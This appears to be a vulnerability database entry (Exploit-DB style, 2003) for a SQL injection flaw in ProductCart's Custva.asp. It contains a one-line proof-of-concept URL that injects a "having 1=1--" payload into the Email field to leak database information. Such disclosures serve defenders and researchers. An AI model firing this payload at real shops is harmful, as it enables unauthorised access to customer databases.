ProductCart 1.5/1.6/2.0 - 'Custva.asp' SQL Injection

Author: Bosen
type: webapps
platform: asp
port: 
date_added: 2003-07-04 
date_updated: 2012-11-21 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/8103/info

ProductCart has been reported prone to an SQL injection vulnerability that may be exploited to reveal information relating to the underlying database; other attacks may also be possible.

http://www.example.com/productcart/pc/Custva.asp?redirectUrl=&Email=%27+having+1
%3D1--&_email=email&password=asd&_password=required&Submit.x=33&Submit.y=5&Submit=Submit